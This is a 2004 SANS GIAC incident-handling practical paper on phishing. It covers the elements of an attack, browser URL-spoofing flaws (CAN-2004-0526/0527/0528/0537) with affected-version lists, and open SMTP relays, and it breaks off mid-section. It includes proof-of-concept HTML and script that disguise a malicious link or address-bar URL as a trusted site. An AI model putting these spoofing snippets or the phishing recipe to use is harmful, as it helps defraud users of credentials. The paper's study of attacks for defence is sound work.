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Phising Attack in Organizations: Incident Handlers Perspective

GIAC Certified Incident Handler

Practical Assignment

Version 3.00

Leonard Ong,
CISSP [ISSAP, ISSMP]
CISM, CISA, PMP

22.08.2004

SANS Tokyo 2004
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Abstract

We live in the middle of Information-era revolution. During the last 10 years, there have been tremendous changes due to advances in information technology. Business processes are re-engineered, alternative ways to communicate have become more common, virtual teams and companies are being setup, and so on. Those are just few examples of how Information technologies alter our lives and culture.

These changes bring us tangible and intangible benefits that have integrated with how we live our lives. There are close to 800-million people that are estimated to use Internet in 2004\(^1\). That is the potential benefits for any parties that are offering their businesses to the Internet. Unfortunately, the potential also applies to those people with malicious intentions. This huge number of users would not have been accessible by any conventional means such as regular mails, phone calls, and others. Information technologies change this fact forever. As with any other technologies, it can be used in a good or malicious manner.

Phishing has become a more prevalent attack in current information era. With its simplicity and anonymous nature, it is becoming a luring area for malicious attackers. The attackers will gain financial benefits. While for other kind of attacks, it may not bring any financial benefits. It significantly affects the victims and its organizations.

Phishing was chosen as the subject of this practical, as the attack that is seemed very simple and can be ignored; yet, it brings disruptive impact to a person’s life and potentially to its organization. In GIAC GCIH posted practical up to 20\(^{th}\) August 2004, there is not a single practical about phishing attack. Other sophisticated and complex attacks are often discussed in multiple papers.

It has a big potential to be developed as a more sophisticated attack by directing the attacks to certain information and organization targets. The current phishing targets are mostly individuals and related only to financial information. This practical will also discuss about the possibility of using phishing in corporate espionage.

First half of this practical will describe the definition of Phishing attack, how it works, the impacts it will cause, and technical analysis. The other half will emphasize on incident handling process. This practical is different from other published papers, as it will try to address phishing with GIAC’s Incident handling processes combined with technical analysis.
Dr. Ong  

- 2 -

Document Conventions

When you read this practical assignment, you will see that certain words are represented in different fonts and typefaces. The types of words that are represented this way include the following:

Command
Operating system commands are represented in this font style. This style indicates a command that is entered at a command prompt or shell.

Filename
Filenames, paths, and directory names are represented in this style.

computer output
The results of a command and other computer output are in this style.

URL
Web URL’s are shown in this style.

Quotation
A citation or quotation from a book or web site is in this style.
Statement of Purpose

This practical assignment will discuss the nature of phishing attack by examining a recent real sample. It will discuss the chronology of a real-life experience during the period of phishing email were received and its corresponding course of actions. Investigation methods that were used to determine and conclude incident report will be also described in the paper.

It all started when an email claiming from Citibank came into my mailbox. Knowing that I do not have an account with Citibank America, this should be a phishing email. Despite the fact, an incident should be reported as other colleagues may find it relevant in their case. Although many organizations may view this as a personal attack, it is an attack to organization indirectly. The performance and availability of victim by the attack will be impacted; hence the organization will be impacted one way or another.

During investigation, it is very surprising that the attack was very simple in nature, however, the impact can be damaging. This really makes phishing a ‘cash-cow’ for malicious parties; Small work, with big gain.

We will also look at the possibility of using the same underlying attack methodologies to target corporate world. In corporate world, any confidential information obtained will be usable for further privilege escalation on obtaining sensitive information. This is known as corporate espionage.

The attack will involve the following elements:

1) Carefully crafted email
   The words should be written in professional business manner to convince recipients. This would include no grammatical and spelling errors. A spoofed URL, that reads the targeted organization, with link to attacker web server.

2) Open relay SMTP server(s)
   Insecure SMTP server(s) that allows domains relaying will be used. This is to ensure anonymity of attacker for layperson.

3) Web server for data collection
   It will have another convincing part of the attack and to collect confidential information.

The paper will describe in more details on how these elements form a phishing attacks.
The Exploit

**Exploit Name**

The methodology is called Phishing. As Phishing is a methodology, similar to social engineering, it does not have a CVE entry by itself. There are several exploits that facilitate phishing attacks. The current exploits are as follows:

1. CAN-2004-0526

<table>
<thead>
<tr>
<th>Name</th>
<th>CAN-2004-0526 (under review)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>Unknown versions of Internet Explorer and Outlook allow remote attackers to spoof a legitimate URL in the status bar via A HREF tags with modified &quot;alt&quot; values that point to the legitimate site, combined with an image map whose href points to the malicious site, which facilitates a &quot;phishing&quot; attack.</td>
</tr>
<tr>
<td>References</td>
<td><img src="http://marc.theaimsgroup.com/?l=bugtraq&amp;m=108422905510713&amp;w=2" alt="References" /></td>
</tr>
<tr>
<td></td>
<td><img src="http://archives.neohapsis.com/archives/bugtraq/2004-05/0161.html" alt="References" /></td>
</tr>
<tr>
<td></td>
<td><img src="http://www.kurczaba.com/securityadvisories/0405132poc.htm" alt="References" /></td>
</tr>
<tr>
<td></td>
<td><img src="http://xforce.iss.net/xforce/xfdb/16102" alt="References" /></td>
</tr>
</tbody>
</table>

2. CAN-2004-0527

<table>
<thead>
<tr>
<th>Name</th>
<th>CAN-2004-0527 (under review)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>KDE Konqueror 2.1.1 and 2.2.2 allows remote attackers to spoof a legitimate URL in the status bar via A HREF tags with modified &quot;alt&quot; values that point to the legitimate site, combined with an image map whose href points to the malicious site, which facilitates a &quot;phishing&quot; attack.</td>
</tr>
<tr>
<td>References</td>
<td><img src="http://www.securityfocus.com/bid/10383" alt="References" /></td>
</tr>
<tr>
<td></td>
<td><img src="http://www.securityfocus.com/bid/10383" alt="References" /></td>
</tr>
</tbody>
</table>
Leonard Ong

Exploit Details

3. CAN-2004-0528

<table>
<thead>
<tr>
<th>Name</th>
<th>CAN-2004-0528 (under review)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>Netscape Navigator 7.1 allows remote attackers to spoof a legitimate URL in the status bar via A HREF tags with modified &quot;alt&quot; values that point to the legitimate site, combined with an image map whose href points to the malicious site, which facilitates a &quot;phishing&quot; attack.</td>
</tr>
<tr>
<td>References</td>
<td>• URL:<a href="http://www.securityfocus.com/bid/10389">http://www.securityfocus.com/bid/10389</a></td>
</tr>
</tbody>
</table>

4. CAN-2004-0537

<table>
<thead>
<tr>
<th>Name</th>
<th>CAN-2004-0537 (under review)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>Opera 7.50 and earlier allows remote web sites to provide a &quot;Shortcut Icon&quot; (favicon) that is wider than expected, which could allow the web sites to spoof a trusted domain and facilitate phishing attacks using a wide icon and extra spaces.</td>
</tr>
</tbody>
</table>
| References      | • BUGTRAQ:20040603 Phishing for Opera (GM#007-OP)  
• URL:http://marc.theaimsgroup.com/?l=bugtraq&m=1086275817177388&w=2  
• FULLDISC:20040603 Phishing for Opera (GM#007-OP)  
• MISC:http://security.greymagic.com/security/advisories/gm007-op/  
• CONFIRM:http://www.opera.com/linux/changelogs/751/index.dml |

5. CAN-1999-0512

<table>
<thead>
<tr>
<th>Name</th>
<th>CAN-1999-0512 (under review)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>A mail server is explicitly configured to allow SMTP mail relay, which allows abuse by spammers.</td>
</tr>
</tbody>
</table>

Operating System

Phishing methodologies are not specific to certain operating system in general. Despite the fact, there certain applications that run some operating systems facilitate phishing attacks. Therefore, as long as the operating system runs vulnerable applications, it is facilitating phishing attacks.

As the applications run several operating systems, they include:
1) Windows operating system family running vulnerable applications.
2) Linux operating system distributions running vulnerable applications.
3) Macintosh operating system running vulnerable applications.
4) FreeBSD operating system running vulnerable applications.
5) Solaris operating system running vulnerable applications. There might be unsupported operating systems, which vulnerable applications are no longer updated. This may include OS/2, QNX. This is, however, unconfirmed. Opera browser has vulnerability in all other platforms, however, these older operating systems are no longer updated.

**Protocols/Services/Applications**

The protocols that are closely involved in phishing are Simple Mail Transfer Protocol (SMTP), HTTP (Hypertext Transfer Protocol), Domain Name System (DNS) and Transmission Control Protocol/Internet Protocol (TCP/IP).

SMTP is widely used as a standard to transfer emails in the Internet. Although the basic SMTP implementations mostly adhere to standard, the configuration can be done without security in consideration. There should be options for a SMTP server to relay email from particular domains, and reject everything else. Combined with anti-spoofing filtering in routers, the SMTP server should be able to prevent any external parties to use an organization’s SMTP server for sending unsolicited emails.

A simple illustration how SMTP works:

```
+----------+  +----------+  +----------+
| User     |  | SMTP     |  |          |
|----------+  |----------+  |----------|
| Client   |  | Commands/Replies | Server   |
|----------+  |----------+  |----------|
| File     |  | SMTP     |  | File     |
| System   |  |          |  | System   |
|----------+  |----------+  |----------|
| SMTP client |  | SMTP server |
```

**Figure 1 SMTP Information Flow**

HTTP is the protocol behind every web browser. Our browser is the client while Apache (For example) is the server that serves pages based on browser requests. When an URL is keyed in the browser, it will resolve to an IP address and browser will get pages from the web server. This is an over-simplified illustration on how HTTP works. With its important role in Internet, it has grown much complex with many extensions.

TCP/IP is the layer 3 of OSI model. It deals with routing and data transfer in the network. IP directly related with addressing, making sure each user has an identifiable address that is routable. TCP deals with transferring data in a reliable manner. IP has its sets of issues, which are IP spoofing. With IP spoofing, it is possible to send someone a data without being able to be traced back to real sender. This has been related as one of security concern called non-repudiation.
Another important protocol that we seamlessly use everyday is DNS. It translates names into IP addresses, so that we do not have to remember all numbers for Internet sites. In the early days, DNS registrations were expensive and not really accessible to all people. Now, they are affordable and there are so many registrars competing on prices and services. For example, 10 years ago, there is only Network Solutions and it costs about USD 160 for a .com domain per year, now at GoDaddy.com it costs as little as USD 8.95 dollars per year. As per March 16, 2003, there are over 22 millions domain name registered from 16.000 in July 1992.

Despite of all convenient features offered by DNS, it has been a major concern as well. For example, if you have a domain name of giac-pratical.com, people sometime would mistype as giacpractical.com or giac-partical.com. The later two domains that normally speculators and blackmailer or fraudster would purchase to gain advantage over the real services offered by organization that owns original domain name. Similar domain names called cousin domain names.

Another example would be getting a domain name of giac-partical.com. The URL has a swapped letters between ‘a’ and ‘r’. If this were embedded on a URL or HREF tag in HTML, it would be very discreet. This is another risk.

One company that has done a good work in protecting its domain name is Cisco Systems. They launched a legal action to take down all domain names that contains word ‘Cisco’. This effort sometimes is not affordable by other organizations, given the resources needed to get it done.

The detailed description on the protocols can be found at following RFCs:

1. SMTP – RFC 2821
2. HTTP 1.0 – RFC 1945
3. HTTP 1.1 – RFC 2621
4. TCP/IP – RFC 1180, RFC 2151
5. DNS – RFC 1035

Vulnerable applications are as follows:

1. Microsoft Internet Explorer Families
   (Modified from original list to save lines. The convention is comma to separate a version. For example: Microsoft Windows NT, SP1-SP6a, means original version/without service packs and SP1 to SP6a)

   Microsoft Internet Explorer 5.0
   - Microsoft Windows 2000 Professional, SP1, SP2
   - Microsoft Windows 95
   - Microsoft Windows 98
   + Microsoft Windows 98SE
   - Microsoft Windows NT 4.0 SP3, SP4, SP5, SP6, SP6a
   Microsoft Internet Explorer 5.0.1 SP4
   Microsoft Internet Explorer 5.0.1 SP3
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Microsoft Internet Explorer 5.0.1 SP2
- Microsoft Windows 2000 Advanced Server, SP1, SP2
- Microsoft Windows 2000 Datacenter Server, SP1, SP2
- Microsoft Windows 2000 Professional, SP1, SP2
- Microsoft Windows 2000 Server, SP1, SP2
- Microsoft Windows 2000 Terminal Services, SP1, SP2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT Enterprise Server 4.0, SP1-SP6a
- Microsoft Windows NT Server 4.0, SP1-SP6a
- Microsoft Windows NT Terminal Server 4.0, SP1-SP6
- Microsoft Windows NT Workstation 4.0, SP1-SP6a

Microsoft Internet Explorer 5.0.1 SP1
- Microsoft Windows 2000 Advanced Server, SP1, SP2
- Microsoft Windows 2000 Datacenter Server, SP1, SP2
- Microsoft Windows 2000 Professional, SP1, SP2
- Microsoft Windows 2000 Server, SP1, SP2
- Microsoft Windows 2000 Terminal Services, SP1, SP2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT Enterprise Server 4.0, SP1-SP6a
- Microsoft Windows NT Server 4.0, SP1-SP6a
- Microsoft Windows NT Terminal Server 4.0, SP1-SP6
- Microsoft Windows NT Workstation 4.0, SP1-SP6a

Microsoft Internet Explorer 5.0.1
- Microsoft Windows 2000 Advanced Server, SP1, SP2
- Microsoft Windows 2000 Datacenter Server, SP1, SP2
- Microsoft Windows 2000 Professional, SP1, SP2
- Microsoft Windows 2000 Server, SP1, SP2
- Microsoft Windows 2000 Terminal Services, SP1, SP2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows NT Enterprise Server 4.0 SP3-SP6a
- Microsoft Windows NT Server 4.0 SP3-SP6a
- Microsoft Windows NT Terminal Server 4.0 SP3-SP6a
- Microsoft Windows NT Workstation 4.0 SP3-SP6a

Microsoft Internet Explorer 5.5 SP2
- Microsoft Windows 2000 Advanced Server, SP1, SP2
- Microsoft Windows 2000 Datacenter Server, SP1, SP2
- Microsoft Windows 2000 Professional, SP1, SP2
- Microsoft Windows 2000 Server, SP1, SP2
- Microsoft Windows 2000 Terminal Services, SP1, SP2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0, SP1-SP6a
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- Microsoft Windows NT Server 4.0, SP1-SP6a
- Microsoft Windows NT Terminal Server 4.0, SP1-SP6
- Microsoft Windows NT Workstation 4.0, SP1-SP6a

Microsoft Internet Explorer 5.5 SP1
- Microsoft Windows 2000 Advanced Server, SP1, SP2
- Microsoft Windows 2000 Datacenter Server, SP1, SP2
- Microsoft Windows 2000 Professional, SP1, SP2
- Microsoft Windows 2000 Server, SP1, SP2
- Microsoft Windows 2000 Terminal Services, SP1, SP2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT Enterprise Server 4.0, SP1-SP6a
- Microsoft Windows NT Server 4.0, SP1-SP6a
- Microsoft Windows NT Terminal Server 4.0, SP1-SP6
- Microsoft Windows NT Workstation 4.0, SP1-SP6a

Microsoft Internet Explorer 5.5
- Microsoft Windows 2000 Advanced Server, SP1, SP2
- Microsoft Windows 2000 Datacenter Server, SP1, SP2
- Microsoft Windows 2000 Professional, SP1, SP2
- Microsoft Windows 2000 Server, SP1, SP2
- Microsoft Windows 2000 Terminal Services, SP1, SP2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT Enterprise Server 4.0, SP1-Sp6a
- Microsoft Windows NT Server 4.0, SP1-SP6a
- Microsoft Windows NT Terminal Server 4.0, SP1-SP6a
- Microsoft Windows NT Workstation 4.0, SP1-SP6a

Microsoft Internet Explorer 6.0 SP1

Microsoft Internet Explorer 6.0
- Microsoft Windows 2000 Advanced Server, SP1, SP2
- Microsoft Windows 2000 Datacenter Server, SP1, SP2
- Microsoft Windows 2000 Professional, SP1, SP2
- Microsoft Windows 2000 Server, SP1, SP2
- Microsoft Windows 2000 Terminal Services, SP1, SP2
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0 SP6a
- Microsoft Windows NT Server 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6a

- Microsoft Windows Server 2003 Datacenter Edition
- Microsoft Windows Server 2003 Datacenter Edition 64-bit
- Microsoft Windows Server 2003 Enterprise Edition
- Microsoft Windows Server 2003 Enterprise Edition 64-bit
- Microsoft Windows XP Home

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Exploit Details

+ Microsoft Windows XP Professional

2. Microsoft Outlook Families

Microsoft Outlook 2000 SP3
+ Microsoft Office 2000 SP3
- Microsoft Windows 2000 Professional, SP1, SP2, SP3
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT Workstation 4.0, SP1-SP6a
- Microsoft Windows XP Home, SP1
- Microsoft Windows XP Professional, SP1

Microsoft Outlook 2000 SR1
- Microsoft Windows 2000 Advanced Server, SP1, SP2
- Microsoft Windows 2000 Datacenter Server, SP1, SP2
- Microsoft Windows 2000 Professional, SP1, SP2
- Microsoft Windows 2000 Server, SP1, SP2
- Microsoft Windows 2000 Terminal Services, SP1, SP2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0, SP1-SP6a
- Microsoft Windows NT Server 4.0, SP1-SP6a
- Microsoft Windows NT Terminal Server 4.0, SP1-SP6
- Microsoft Windows NT Workstation 4.0, SP1-SP6a

Microsoft Outlook 2000 SP2
- Microsoft Windows 2000 Advanced Server, SP1, SP2
- Microsoft Windows 2000 Datacenter Server, SP1, SP2
- Microsoft Windows 2000 Professional, SP1, SP2
- Microsoft Windows 2000 Server, SP1, SP2
- Microsoft Windows 2000 Terminal Services, SP1, SP2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0, SP1-SP6a
- Microsoft Windows NT Server 4.0, SP1-SP6a
- Microsoft Windows NT Terminal Server 4.0, SP1-SP6
- Microsoft Windows NT Workstation 4.0, SP1-SP6a

Microsoft Outlook 2000
- Microsoft Windows 2000 Advanced Server, SP1, SP2
- Microsoft Windows 2000 Datacenter Server, SP1, SP2
- Microsoft Windows 2000 Professional, SP1, SP2
- Microsoft Windows 2000 Server, SP1, SP2
- Microsoft Windows 2000 Terminal Services, SP1, SP2
- Microsoft Windows 95
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Exploit Details

- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0, SP1-SP6a
- Microsoft Windows NT Server 4.0, SP1-SP6a
- Microsoft Windows NT Terminal Server 4.0, SP1-SP6
- Microsoft Windows NT Workstation 4.0, SP1-SP6a

Microsoft Outlook 2002 SP3
Microsoft Outlook 2002 SP2
  + Microsoft Office XP SP2
  - Microsoft Windows 2000 Professional, SP1, SP2, SP3
  - Microsoft Windows 2000 Terminal Services, SP1, SP2, SP3
  - Microsoft Windows 98
  - Microsoft Windows 98SE
  - Microsoft Windows ME
  - Microsoft Windows NT Workstation 4.0, SP1-SP6a
  - Microsoft Windows XP Home, SP1
  - Microsoft Windows XP Professional, SP1

Microsoft Outlook 2002 SP1
  - Microsoft Windows 2000 Professional, SP1, SP2
  - Microsoft Windows 98
  - Microsoft Windows 98SE
  - Microsoft Windows ME
  - Microsoft Windows NT Workstation 4.0, SP1-SP6a
  - Microsoft Windows XP Home
  - Microsoft Windows XP Professional

Microsoft Outlook 2002
  + Microsoft Office XP
  - Microsoft Windows 2000 Professional, SP1, SP2
  - Microsoft Windows 98
  - Microsoft Windows 98SE
  - Microsoft Windows ME
  - Microsoft Windows NT Workstation 4.0, SP1-SP6a
  - Microsoft Windows XP Home
  - Microsoft Windows XP Professional

Microsoft Outlook 2003
Microsoft Outlook 97
Microsoft Outlook 97 8.2.4212
Microsoft Outlook 98
  - Microsoft Windows 95
  - Microsoft Windows 98
  - Microsoft Windows NT 4.0, SP1-SP6a

Microsoft Outlook Express 4.0 1 SP2
Microsoft Outlook Express 4.0
Microsoft Outlook Express 4.27.3110
Microsoft Outlook Express 4.72.2106
Microsoft Outlook Express 4.72.3120
Microsoft Outlook Express 4.72.3612
Leonard Ong

Exploit Details

Microsoft Outlook Express 5.0
Microsoft Outlook Express 5.0
Microsoft Outlook Express 5.5
  + Microsoft Internet Explorer 5.0.1
  + Microsoft Internet Explorer 5.0.1 for Windows 2000
  + Microsoft Internet Explorer 5.0.1 for Windows 95
  + Microsoft Internet Explorer 5.0.1 for Windows 98
  + Microsoft Internet Explorer 5.0.1 for Windows NT 4.0
  + Microsoft Internet Explorer 5.5
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows NT 4.0
Microsoft Outlook Express 6.0
  + Microsoft Windows Server 2003 Datacenter Edition
  + Microsoft Windows Server 2003 Datacenter Edition 64-bit
  + Microsoft Windows Server 2003 Enterprise Edition
  + Microsoft Windows Server 2003 Enterprise Edition 64-bit
  + Microsoft Windows Server 2003 Standard Edition
  + Microsoft Windows Server 2003 Web Edition
  + Microsoft Windows XP Home
  + Microsoft Windows XP Media Center Edition
  + Microsoft Windows XP Professional
  + Microsoft Windows XP Tablet PC Edition

3. Netscape Navigator 7.1

Microsoft Windows Family Operation System running Navigator 7.1
Linux Distributions running Navigator 7.1

4. KDE Konqueror

KDE Konqueror 2.1.1
KDE Konqueror 2.2.2
  + Debian Linux 3.0
  + Debian Linux 3.0 alpha
  + Debian Linux 3.0 arm
  + Debian Linux 3.0 hppa
  + Debian Linux 3.0 ia-32  + Debian Linux 3.0 ia-64
  + Debian Linux 3.0 m68k
  + Debian Linux 3.0 mips
  + Debian Linux 3.0 mipsel
  + Debian Linux 3.0 ppc
  + Debian Linux 3.0 s/390
  + Debian Linux 3.0 sparc
  + RedHat Enterprise Linux AS 2.1
  + RedHat Enterprise Linux AS 2.1 IA64
  + RedHat Enterprise Linux ES 2.1
  + RedHat Enterprise Linux ES 2.1 IA64

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Leonard Ong  Exploit Details

+ RedHat Enterprise Linux WS 2.1
+ RedHat Enterprise Linux WS 2.1 IA64
+ RedHat Linux Advanced Work Station 2.1
+ Turbolinux Turbolinux Server 7.0
+ Turbolinux Turbolinux Server 8.0
+ Turbolinux Turbolinux Workstation 7.0
+ Turbolinux Turbolinux Workstation 8.0

KDE Konqueror 3.0
+ KDE KDE 3.0
KDE Konqueror 3.0.1
+ KDE KDE 3.0.1
KDE Konqueror 3.0.2
+ KDE KDE 3.0.2
KDE Konqueror 3.0.3
+ KDE KDE 3.0.3
KDE Konqueror 3.0.5
+ MandrakeSoft Corporate Server 2.1
+ MandrakeSoft Linux Mandrake 9.0
KDE Konqueror 3.1
+ MandrakeSoft Linux Mandrake 9.1
+ MandrakeSoft Linux Mandrake 9.1 ppc
KDE Konqueror 3.1.1
+ KDE KDE 3.1.1
KDE Konqueror 3.1.2
+ KDE KDE 3.1.2
KDE Konqueror 3.1.3
KDE Konqueror 3.2.1

5. Opera 7.50 and lower¹³
   Microsoft Windows Family Operation System running Opera 7.50 below
   Linux Distributions running Opera 7.50 below
   FreeBSD releases running Opera 7.50 below
   Solaris versions running Opera 7.50 below
   Macintosh Operating System running Opera 7.50 below
Exploit Variants

Exploit variants can be categorized into two categories: Technical and Content.

1) Technical Variants

<table>
<thead>
<tr>
<th>No.</th>
<th>CVE</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>CAN-2004-0526</td>
<td>Unknown versions of Internet Explorer and Outlook allow remote attackers to spoof a legitimate URL in the status bar via A HREF tags with modified &quot;alt&quot; values that point to the legitimate site, combined with an image map whose href points to the malicious site, which facilitates a &quot;phishing&quot; attack.</td>
</tr>
<tr>
<td>2</td>
<td>CAN-2004-0527</td>
<td>KDE Konqueror 2.1.1 and 2.2.2 allows remote attackers to spoof a legitimate URL in the status bar via A HREF tags with modified &quot;alt&quot; values that point to the legitimate site, combined with an image map whose href points to the malicious site, which facilitates a &quot;phishing&quot; attack.</td>
</tr>
<tr>
<td>3</td>
<td>CAN-2004-0528</td>
<td>Netscape Navigator 7.1 allows remote attackers to spoof a legitimate URL in the status bar via A HREF tags with modified &quot;alt&quot; values that point to the legitimate site, combined with an image map whose href points to the malicious site, which facilitates a &quot;phishing&quot; attack.</td>
</tr>
<tr>
<td>4</td>
<td>CAN-2004-0537</td>
<td>Opera 7.50 and earlier allows remote web sites to provide a &quot;Shortcut Icon&quot; (favicon) that is wider than expected, which could allow the web sites to spoof a trusted domain and facilitate phishing attacks using a wide icon and extra spaces.</td>
</tr>
</tbody>
</table>

2) Content Variants

<table>
<thead>
<tr>
<th>No</th>
<th>Date</th>
<th>Org.</th>
<th>Title</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>20-Aug</td>
<td>Suntrust</td>
<td>Suntrust.com Urgent update</td>
</tr>
<tr>
<td>2</td>
<td>18-Aug</td>
<td>US Bank</td>
<td>Read us bank</td>
</tr>
<tr>
<td>3</td>
<td>17-Aug</td>
<td>US Bank</td>
<td>U.S. Bank Fraud Verification Process</td>
</tr>
<tr>
<td>4</td>
<td>16-Aug</td>
<td>US Bank</td>
<td>U.S. Bank Online Banking Issue</td>
</tr>
<tr>
<td>5</td>
<td>13-Aug</td>
<td>PayPal</td>
<td>Customer Service</td>
</tr>
<tr>
<td>6</td>
<td>10-Aug</td>
<td>eBay</td>
<td>Security Check</td>
</tr>
<tr>
<td>7</td>
<td>06-Aug</td>
<td>AOL</td>
<td>Urgent message from AOL Member Services</td>
</tr>
</tbody>
</table>
From technical category, we can draw several similarities. They are all allowing attacker to hide malicious URL under legitimate URL. Most of the users do not really inspect the URL when they click on a link in an email. Even when they try to see the link, it will be displayed as a legitimate URL.

In content category, we can also draw similarities of ‘urgency’ in account-related information. In order to ‘verify’ victim identification, victim will need to enter all their information.

Phishing attack is identified from the content of email, as this is considered as a social engineering attack. Hence a Phishing email may not exploit any technical vulnerability and rely on social engineering alone.

**Description and Exploit Analysis**

Phishing Definitions

1) Anti-Phishing Working group\(^{15}\):

   *Phishing attacks use 'spoofed' e-mails and fraudulent websites designed to fool recipients into divulging personal financial data such as credit card numbers, account usernames and passwords, social security numbers, etc. By hijacking the trusted brands of well-known banks, online retailers and credit card companies, phishers are able to convince up to 5% of recipients to respond to them.*

2) Oxford University Press: \(^{16}\)

   *phishing /ˈfɪʃɪŋ/ noun [U] the activity of tricking people by getting them to give their identity, bank account numbers, etc. over the Internet or by email, and then using these to steal money from them: Phishing often involves sending customers an apparently legitimate email requesting account information. ☞The bank’s clients were lured to a phishing site and asked to provide their personal details and account numbers. ☞a phishing attack/scam/email*

3) MacMillan English Dictionary\(^{17}\)

   *phishing noun [U] the criminal activity of persuading people to give personal information such as passwords and credit card details by directing them to a fake website which has been made to look exactly the same as the website of a legitimate bank or other organization*

Phishing is vulnerability in people and computer applications. It exploits people’s lack of awareness on Information security, over-simplifying nature, blind trust to Information system, and furthermore ignorance with help of Information technologies.
Psychological factors are in play as well to create the sense of urgency and panic. When a person is in panic mode, s/he will not be able to think clearly as normal. His/her ability to question the email authenticity will be lowered, and instead follows the scam due to panic or aggravated tension. This kind of phishing attacks normally tells the victim that their account has been breached or an attempt to breach has been made. Another psychological effect is to create the ambience of obligation from the victim. The company requires their users to update their information, and out of obligation the victim do so.
Technical vulnerabilities will mostly be found in Internet Browsers and Email clients. This is point of entry and execution for phishing attacks. First by email and then followed by web page. These vulnerabilities will increase the success of phishing attacks by obfuscating malicious URL inside friendly URL. Victim with higher alertness will check for the URL inside the email, normally done by pointing the cursor on the top of URL to see the real URL. The technical vulnerabilities will play part here, fooling the victim that they are going to friendly URL.

Let's look at each of the technical vulnerabilities:

1. CAN-2004-0526

Microsoft Internet Explorer Embedded Image URI Obfuscation Weakness

Microsoft Internet Explorer is vulnerable to URI obfuscation weakness that may display defined URI instead of real URI.

Sample code:

```
<IMG SRC="malware.gif" USEMAP="#malware" border=0 
alt="http://www.microsoft.com"></A>
<map NAME="malware" alt="http://www.microsoft.com">>
<area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com" 
alt="http://www.microsoft.com">
</MAP>
```

Full source can be obtained from http://www.malware.com/pheeesh.zip

The sample malicious code above illustrates how an icon or banner can be obfuscated with malicious URL while being displayed as friendly URL. The first line indicates that the object (text and or graphics) are linked to http://www.microsoft.com and the display name will be also be the same. The second line will display a picture with command to use map function that override A HREF tag. It seems that MAP function has higher priority over HREF tag. The rest of the lines define that when a victim click on the picture, it will go to malicious site.

In order for this vulnerability to be exploited MAP function has to be used. Therefore, a text has to be made as picture, or banner/icon can be used.
Figure 4 A normal link on an email

Figure 5 URL displayed incorrectly on cursor Focus (Vulnerable)

Figure 6 URL is an object (Picture)
2. CAN-2004-0527
   KDE Konqueror Embedded Image URI Obfuscation Weakness

   All the information of previous CVE (CAN-2004-0526) discussed is valid for this vulnerability.

3. CAN-2004-0528
   Netscape Navigator 7.1 Embedded Image URI Obfuscation Weakness

   All the information of previous CVE (CAN-2004-0526, CAN-2004-0527) discussed is valid for this vulnerability.

   Netscape Navigator 7.2 has partially corrected this weakness as shown in Figure 5 below. It correctly displays malicious URL on status bar.

   Occasionally, when the object is right-clicked, it will still show friendly URL instead of malicious URL. This behavior would be inconsistent and can be viewed as partial weakness. Figure 6 and 7 will show this behavior.

   It is also noted that Netscape Navigator 7.1 (ax) that is currently available for download posses the inconsistencies as 7.2.

   ![Figure 7 URL displayed correctly Netscape Navigator 7.2 (Not vulnerable)](http://www.microsoft.com)
Figure 8 Netscape 7.2 display correct URL

Figure 9 Netscape 7.2 display incorrect URL (vulnerable)
4. CAN-2004-0537

Phishing for Opera

Opera browser has a feature that implement an icon just before the URL displayed on Location bar. While other browsers allow only a limited size of icon, Opera allows extra long icon to display friendly URL.

The vulnerability is this feature can be used to display friendly URL in picture format. The malicious URL are hidden by excessive white space, that it will not be noticeable. Hence the only noticeable URL will be the icon with friendly URL.

The source code line of, ‘<link rel...”>', displays an icon before the URL text in address bar. As Opera allows longer-than-usual icon, we should prepare an icon with spoofed URL. In our sample, it will be http://www.sans.org. The few lines following the tag above are script to create excessive white space behind the malicious/obfuscated URL.

Victim will see the spoofed URL in Opera page bar, and address/location bar. The real URL will not be shown, unless we place the cursor into the white space area and type ‘home’ key.

Sample code is as follows. (Modified to run from local host)

```html
<html>
<head>
<title>SANS.org</title>
<link rel="shortcut icon" href="opera-sans.bmp">
<script>
onload=function () {
    if (!location.search) {
        location.href=location.href+"?x=1#"
        <!-- 17 lines of excessive white spaces. Snipped in this code for illustration. A working code is available at appendix>
        if(window.name!="rDone") {
            window.name="rDone";
            setTimeout(function () {
                location.reload(true);
            },350);
        }
    } else if (window.name!="rDone") {
        window.name="rDone";
    }
</script>
</head>
<body>
Serving content from localhost. This can be a copy of SANS.org website. This would contain misleading content, prompting the user to supply sensitive information to the attacker.
</body>
</html>
```
5. **CAN-1999-0512**

Intentionally configured, or misconfigured SMTP server that allows relaying is the source of spam. This is the element being used to send phishing emails to victims with little risk of being traced back to the sender. Relaying means that a mail server accepts emails with domain names that it doesn't serve and send them to any destinations.

For example, mail.sample-organization.org is the SMTP email server meant for internal employee to send and receive email. Due to misconfiguration or explicit configuration to allow relaying, everyone from the Internet can use the email server to send emails from arbitrary domains.
Correct configuration:
